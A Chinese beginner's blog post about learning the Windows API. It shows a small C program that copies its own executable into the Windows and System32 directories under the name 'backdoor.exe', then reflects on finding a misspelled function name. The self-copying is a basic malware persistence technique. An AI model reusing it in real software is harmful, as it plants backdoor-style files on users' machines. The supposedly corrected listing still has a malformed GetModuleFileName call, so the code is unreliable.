最近在学习API函数编写,可是毕竟自己基础不扎实。当出现问题时候,解决起来需要一段时间,一开始编写一个实现复制自身程序到Windows目录,system32目录功能的小程序。应用的API函数不多,主要有GetModuleFileName(),GetWindowsDirectory(),GetSystemDirectory,CopyFile();这四个API函数。

下面是主要的代码:

#include <windows.h>//包含GetWindowsDirectory(),GetSystemDirectory(),CopyFile()等这些API函数
void copy_file();//函数声明
int main()
{
copy_file();
return 0;
}
void copy_file()
{
char Self[MAX_PATH]={0};//定义字符型数组用来存放当前目录的地址
char Windows[MAX_PATH]={0};//定义字符型数组用来存放Windows的地址
char System[MAX_PATH]={0};//定义字符型数组用来存放系统的地址
GetModuleFileName()(NULL,Self,MAX_PATH);//调用函数获得当前目录并且存放在Self[MAX_PATH]
GetWindowsDirectory(Windows,MAX_PATH);//和上面类似
GetSystemDirectory(System,MAX_PATH);
strcat(Windows,"\\backdoor.exe");//补全路径
strcat(System,"\\backdoor.exe");
CopyFile(Self,Windows,FALSE);//复制文件过去Windows目录
CopyFile(Self,System,FALSE);
}

这是修改后的代码,在一开始编写的时候,程序出现undeclared identifier这个错误,那时候心急想把问题解决,就开始想

(1)是不是自己VC版本太低,因为自己学习的那本编程书讲到,一些函数需要新的PSDK才能编写,可是对于我这个工具都还没用得太懂的人来说。要解决这个问题就得放缓一下,

(2)再调用API函数时出现错误,于是我上百度去查找这个函数的原型,发现自己参数没有错误!于是这个猜测又搁浅了

(3)今天开始想,直接把出现的错误百度算了。可是百度出来的原因大多是子函数未声明就开始调用。然后向一个朋友求助,才发现自己一个API函数的函数名写错了.GetModuleFileName()写成了GetMoudleFileName(),错误的原因仅仅是因为一个“u”的顺序乱了。因为在键盘上“o”和“u”挨得比较近,所以打的时候不自觉就加上了!

 

     写在后面:

【1】其实自己应该有一个良好的解决问题顺序,在遇到难题时,(1)怎样的分析(2)怎样一个次序(3)怎样一个排除都显得尤为重要.像这个问题,最开始应该从出现的错误百度,而不要先想书本的,先把我们已知的情况排除,再去尝试新的方法

【2】在检查各个函数时,将光标点在函数之间就会出现相应的函数返回值类型,参数类型;而那时GetModuleFileName()这个函数却没有出现,自己也没有好好的注意

【3】还是那个心态问题,在初学一些知识时,我们会很害怕遇到问题,的确我也是!可是在遇到问题时我们不应该以一种气馁的态度去对待,我们应该以一种求知的心态对待。遇到问题时候也就是我们技术开始成长之时。最近的确有不少问题,可是我会一个一个去解决。我相信我们都可以

一个“u”引发的思考_问题的解决

一个“u”引发的思考_问题的解决_02